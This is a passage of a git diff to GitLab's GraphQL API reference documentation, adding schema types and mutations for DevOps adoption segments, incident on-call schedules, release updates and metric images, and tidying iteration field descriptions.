Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): IncidentManagementOncallScheduleConnection + + """ A single issue of the project """ issue( @@ -15765,17 +16020,17 @@ type Project { first: Int """ - The ID of the Iteration to look up + Global ID of the Iteration to look up. """ id: ID """ - The internal ID of the Iteration to look up + Internal ID of the Iteration to look up. """ iid: ID """ - Whether to include ancestor iterations. Defaults to true + Whether to include ancestor iterations. Defaults to true. """ includeAncestors: Boolean @@ -15792,7 +16047,7 @@ type Project { startDate: Time """ - Filter iterations by state + Filter iterations by state. """ state: IterationState @@ -15802,7 +16057,7 @@ type Project { timeframe: Timeframe """ - Fuzzy search by title + Fuzzy search by title. """ title: String ): IterationConnection @@ -18450,6 +18705,66 @@ type ReleaseSourceEdge { } """ +Autogenerated input type of ReleaseUpdate +""" +input ReleaseUpdateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Description (release notes) of the release + """ + description: String + + """ + The title of each milestone the release is associated with. GitLab Premium customers can specify group milestones. + """ + milestones: [String!] + + """ + Name of the release + """ + name: String + + """ + Full path of the project the release is associated with + """ + projectPath: ID! + + """ + The release date + """ + releasedAt: Time + + """ + Name of the tag associated with the release + """ + tagName: String! +} + +""" +Autogenerated return type of ReleaseUpdate +""" +type ReleaseUpdatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The release after mutation. + """ + release: Release +} + +""" Autogenerated input type of RemoveAwardEmoji """ input RemoveAwardEmojiInput { @@ -22167,6 +22482,51 @@ type UpdateContainerExpirationPolicyPayload { errors: [String!]! } +""" +Autogenerated input type of UpdateDevopsAdoptionSegment +""" +input UpdateDevopsAdoptionSegmentInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The array of group IDs to set for the segment + """ + groupIds: [GroupID!] + + """ + ID of the segment + """ + id: AnalyticsDevopsAdoptionSegmentID! + + """ + Name of the segment + """ + name: String! +} + +""" +Autogenerated return type of UpdateDevopsAdoptionSegment +""" +type UpdateDevopsAdoptionSegmentPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The segment after mutation + """ + segment: DevopsAdoptionSegment +} + input UpdateDiffImagePositionInput { """ Total height of the image @@ -22434,32 +22794,32 @@ input UpdateIterationInput { clientMutationId: String """ - The description of the iteration + Description of the iteration. """ description: String """ - The end date of the iteration + End date of the iteration. """ dueDate: String """ - The group of the iteration + Group of the iteration. """ groupPath: ID! """ - The id of the iteration + Global ID of the iteration. """ id: ID! """ - The start date of the iteration + Start date of the iteration. """ startDate: String """ - The title of the iteration + Title of the iteration. """ title: String } @@ -22479,7 +22839,7 @@ type UpdateIterationPayload { errors: [String!]! """ - The updated iteration + Updated iteration. """ iteration: Iteration } @@ -22868,6 +23228,11 @@ type User { id: ID! """ + The location of the user. + """ + location: String + + """ Human-readable name of the user """ name: String! diff --git a/doc/api/graphql/reference/gitlab_schema.json b/doc/api/graphql/reference/gitlab_schema.json index de3f9c2665f..a0f342764f3 100644 --- a/doc/api/graphql/reference/gitlab_schema.json +++ b/doc/api/graphql/reference/gitlab_schema.json @@ -2402,6 +2402,16 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "AnalyticsDevopsAdoptionSegmentID", + "description": "Identifier of Analytics::DevopsAdoption::Segment", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "ENUM", "name": "AvailabilityEnum", "description": "User availability status", @@ -10629,6 +10639,126 @@ }, { "kind": "INPUT_OBJECT", + "name": "CreateDevopsAdoptionSegmentInput", + "description": "Autogenerated input type of CreateDevopsAdoptionSegment", + "fields": null, + "inputFields": [ + { + "name": "name", + "description": "Name of the segment", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "groupIds", + "description": "The array of group IDs to set for the segment", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "GroupID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CreateDevopsAdoptionSegmentPayload", + "description": "Autogenerated return type of CreateDevopsAdoptionSegment", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "segment", + "description": "The segment after mutation", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DevopsAdoptionSegment", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "CreateDiffNoteInput", "description": "Autogenerated input type of CreateDiffNote", "fields": null, @@ -14499,6 +14629,94 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "DeleteDevopsAdoptionSegmentInput", + "description": "Autogenerated input type of DeleteDevopsAdoptionSegment", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "ID of the segment", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "AnalyticsDevopsAdoptionSegmentID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DeleteDevopsAdoptionSegmentPayload", + "description": "Autogenerated return type of DeleteDevopsAdoptionSegment", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "DeleteJobsResponse", "description": "The response from the AdminSidekiqQueuesDeleteJobs mutation", @@ -21724,6 +21942,28 @@ "deprecationReason": null }, { + "name": "metricImages", + "description": "Metric images associated to the issue.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "MetricImage", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "milestone", "description": "Milestone of the issue", "args": [ @@ -24922,7 +25162,7 @@ }, { "name": "state", - "description": "Filter iterations by state", + "description": "Filter iterations by state.", "type": { "kind": "ENUM", "name": "IterationState", @@ -24932,7 +25172,7 @@ }, { "name": "title", - "description": "Fuzzy search by title", + "description": "Fuzzy search by title.", "type": { "kind": "SCALAR", "name": "String", @@ -24942,7 +25182,7 @@ }, { "name": "id", - "description": "The ID of the Iteration to look up", + "description": "Global ID of the Iteration to look up.", "type": { "kind": "SCALAR", "name": "ID", @@ -24952,7 +25192,7 @@ }, { "name": "iid", - "description": "The internal ID of the Iteration to look up", + "description": "Internal ID of the Iteration to look up.", "type": { "kind": "SCALAR", "name": "ID", @@ -24962,7 +25202,7 @@ }, { "name": "includeAncestors", - "description": "Whether to include ancestor iterations. Defaults to true", + "description": "Whether to include ancestor iterations. Defaults to true.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -27502,6 +27742,199 @@ }, { "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "description": "Describes an incident management on-call schedule", + "fields": [ + { + "name": "description", + "description": "Description of the on-call schedule", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "iid", + "description": "Internal ID of the on-call schedule", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the on-call schedule", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "timezone", + "description": "Time zone of the on-call schedule", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "IncidentManagementOncallScheduleConnection", + "description": "The connection type for IncidentManagementOncallSchedule.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "IncidentManagementOncallScheduleEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "IncidentManagementOncallScheduleEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "InstanceSecurityDashboard", "description": null, "fields": [ @@ -28579,6 +29012,28 @@ "deprecationReason": null }, { + "name": "metricImages", + "description": "Metric images associated to the issue.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "MetricImage", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "milestone", "description": "Milestone of the issue", "args": [ @@ -36829,6 +37284,101 @@ }, { "kind": "OBJECT", + "name": "MetricImage", + "description": "Represents a metric image upload", + "fields": [ + { + "name": "fileName", + "description": "File name of the metric image", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "filePath", + "description": "File path of the metric image", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "ID of the metric upload", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "iid", + "description": "Internal ID of the metric upload", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "url", + "description": "URL of the metric source", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "MetricsDashboard", "description": null, "fields": [ @@ -38193,6 +38743,33 @@ "deprecationReason": null }, { + "name": "createDevopsAdoptionSegment", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "CreateDevopsAdoptionSegmentInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "CreateDevopsAdoptionSegmentPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "createDiffNote", "description": null, "args": [ @@ -38706,6 +39283,33 @@ "deprecationReason": null }, { + "name": "deleteDevopsAdoptionSegment", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DeleteDevopsAdoptionSegmentInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DeleteDevopsAdoptionSegmentPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "designManagementDelete", "description": null, "args": [ @@ -39840,6 +40444,33 @@ "deprecationReason": null }, { + "name": "oncallScheduleCreate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "OncallScheduleCreateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "OncallScheduleCreatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "pipelineCancel", "description": null, "args": [ @@ -40056,6 +40687,33 @@ "deprecationReason": null }, { + "name": "releaseUpdate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "ReleaseUpdateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ReleaseUpdatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "removeAwardEmoji", "description": null, "args": [ @@ -40569,6 +41227,33 @@ "deprecationReason": null }, { + "name": "updateDevopsAdoptionSegment", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "UpdateDevopsAdoptionSegmentInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "UpdateDevopsAdoptionSegmentPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "updateEpic", "description": null, "args": [ @@ -42396,6 +43081,146 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "OncallScheduleCreateInput", + "description": "Autogenerated input type of OncallScheduleCreate", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "The project to create the on-call schedule in", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "name", + "description": "The name of the on-call schedule", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "description", + "description": "The description of the on-call schedule", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "timezone", + "description": "The timezone of the on-call schedule", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "OncallScheduleCreatePayload", + "description": "Autogenerated return type of OncallScheduleCreate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "oncallSchedule", + "description": "The on-call schedule", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallSchedule", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "Package", "description": "Represents a package", @@ -45300,6 +46125,59 @@ "deprecationReason": null }, { + "name": "incidentManagementOncallSchedules", + "description": "Incident Management On-call schedules of the project", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallScheduleConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "issue", "description": "A single issue of the project", "args": [ @@ -46092,7 +46970,7 @@ }, { "name": "state", - "description": "Filter iterations by state", + "description": "Filter iterations by state.", "type": { "kind": "ENUM", "name": "IterationState", @@ -46102,7 +46980,7 @@ }, { "name": "title", - "description": "Fuzzy search by title", + "description": "Fuzzy search by title.", "type": { "kind": "SCALAR", "name": "String", @@ -46112,7 +46990,7 @@ }, { "name": "id", - "description": "The ID of the Iteration to look up", + "description": "Global ID of the Iteration to look up.", "type": { "kind": "SCALAR", "name": "ID", @@ -46122,7 +47000,7 @@ }, { "name": "iid", - "description": "The internal ID of the Iteration to look up", + "description": "Internal ID of the Iteration to look up.", "type": { "kind": "SCALAR", "name": "ID", @@ -46132,7 +47010,7 @@ }, { "name": "includeAncestors", - "description": "Whether to include ancestor iterations. Defaults to true", + "description": "Whether to include ancestor iterations. Defaults to true.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -53200,6 +54078,170 @@ }, { "kind": "INPUT_OBJECT", + "name": "ReleaseUpdateInput", + "description": "Autogenerated input type of ReleaseUpdate", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "Full path of the project the release is associated with", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "tagName", + "description": "Name of the tag associated with the release", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "name", + "description": "Name of the release", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "description", + "description": "Description (release notes) of the release", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "releasedAt", + "description": "The release date", + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "milestones", + "description": "The title of each milestone the release is associated with. GitLab Premium customers can specify group milestones.", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ReleaseUpdatePayload", + "description": "Autogenerated return type of ReleaseUpdate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "release", + "description": "The release after mutation.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Release", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "RemoveAwardEmojiInput", "description": "Autogenerated input type of RemoveAwardEmoji", "fields": null, @@ -57602,8 +58644,8 @@ "description": "Collection of Sentry Errors", "args": [ { - "name": "after", - "description": "Returns the elements in the list that come after the specified cursor.", + "name": "searchTerm", + "description": "Search query for the Sentry error details", "type": { "kind": "SCALAR", "name": "String", @@ -57612,8 +58654,8 @@ "defaultValue": null }, { - "name": "before", - "description": "Returns the elements in the list that come before the specified cursor.", + "name": "sort", + "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default", "type": { "kind": "SCALAR", "name": "String", @@ -57622,41 +58664,41 @@ "defaultValue": null }, { - "name": "first", - "description": "Returns the first _n_ elements from the list.", + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", "type": { "kind": "SCALAR", - "name": "Int", + "name": "String", "ofType": null }, "defaultValue": null }, { - "name": "last", - "description": "Returns the last _n_ elements from the list.", + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", "type": { "kind": "SCALAR", - "name": "Int", + "name": "String", "ofType": null }, "defaultValue": null }, { - "name": "searchTerm", - "description": "Search query for the Sentry error details", + "name": "first", + "description": "Returns the first _n_ elements from the list.", "type": { "kind": "SCALAR", - "name": "String", + "name": "Int", "ofType": null }, "defaultValue": null }, { - "name": "sort", - "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default", + "name": "last", + "description": "Returns the last _n_ elements from the list.", "type": { "kind": "SCALAR", - "name": "String", + "name": "Int", "ofType": null }, "defaultValue": null @@ -64431,6 +65473,140 @@ }, { "kind": "INPUT_OBJECT", + "name": "UpdateDevopsAdoptionSegmentInput", + "description": "Autogenerated input type of UpdateDevopsAdoptionSegment", + "fields": null, + "inputFields": [ + { + "name": "name", + "description": "Name of the segment", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "groupIds", + "description": "The array of group IDs to set for the segment", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "GroupID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "id", + "description": "ID of the segment", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "AnalyticsDevopsAdoptionSegmentID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "UpdateDevopsAdoptionSegmentPayload", + "description": "Autogenerated return type of UpdateDevopsAdoptionSegment", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "segment", + "description": "The segment after mutation", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DevopsAdoptionSegment", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "UpdateDiffImagePositionInput", "description": null, "fields": null, @@ -65094,7 +66270,7 @@ "inputFields": [ { "name": "groupPath", - "description": "The group of the iteration", + "description": "Group of the iteration.", "type": { "kind": "NON_NULL", "name": null, @@ -65108,7 +66284,7 @@ }, { "name": "id", - "description": "The id of the iteration", + "description": "Global ID of the iteration.", "type": { "kind": "NON_NULL", "name": null, @@ -65122,7 +66298,7 @@ }, { "name": "title", - "description": "The title of the iteration", + "description": "Title of the iteration.", "type": { "kind": "SCALAR", "name": "String", @@ -65132,7 +66308,7 @@ }, { "name": "description", - "description": "The description of the iteration", + "description": "Description of the iteration.", "type": { "kind": "SCALAR", "name": "String", @@ -65142,7 +66318,7 @@ }, { "name": "startDate", - "description": "The start date of the iteration", + "description": "Start date of the iteration.", "type": { "kind": "SCALAR", "name": "String", @@ -65152,7 +66328,7 @@ }, { "name": "dueDate", - "description": "The end date of the iteration", + "description": "End date of the iteration.", "type": { "kind": "SCALAR", "name": "String", @@ -65222,7 +66398,7 @@ }, { "name": "iteration", - "description": "The updated iteration", + "description": "Updated iteration.", "args": [ ], @@ -66223,6 +67399,20 @@ "deprecationReason": null }, { + "name": "location", + "description": "The location of the user.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "name", "description": "Human-readable name of the user", "args": [ diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md index c46f12bcdcd..aa59a638c22 100644 --- a/doc/api/graphql/reference/index.md +++ b/doc/api/graphql/reference/index.md @@ -643,6 +643,16 @@ Autogenerated return type of CreateCustomEmoji. | `customEmoji` | CustomEmoji | The new custom emoji | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### CreateDevopsAdoptionSegmentPayload + +Autogenerated return type of CreateDevopsAdoptionSegment. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `segment` | DevopsAdoptionSegment | The segment after mutation | + ### CreateDiffNotePayload Autogenerated return type of CreateDiffNote. @@ -892,6 +902,15 @@ Autogenerated return type of DeleteAnnotation. | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | +### DeleteDevopsAdoptionSegmentPayload + +Autogenerated return type of DeleteDevopsAdoptionSegment. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | + ### DeleteJobsResponse The response from the AdminSidekiqQueuesDeleteJobs mutation. @@ -1305,6 +1324,7 @@ Relationship between an epic and an issue. | `iid` | ID! | Internal ID of the issue | | `iteration` | Iteration | Iteration of the issue | | `labels` | LabelConnection | Labels of the issue | +| `metricImages` | MetricImage! => Array | Metric images associated to the issue. | | `milestone` | Milestone | Milestone of the issue | | `moved` | Boolean | Indicates if issue got moved from other project | | `movedTo` | Issue | Updated Issue after it got moved to another project | @@ -1543,6 +1563,17 @@ Autogenerated return type of HttpIntegrationUpdate. | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `integration` | AlertManagementHttpIntegration | The HTTP integration | +### IncidentManagementOncallSchedule + +Describes an incident management on-call schedule. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String | Description of the on-call schedule | +| `iid` | ID! | Internal ID of the on-call schedule | +| `name` 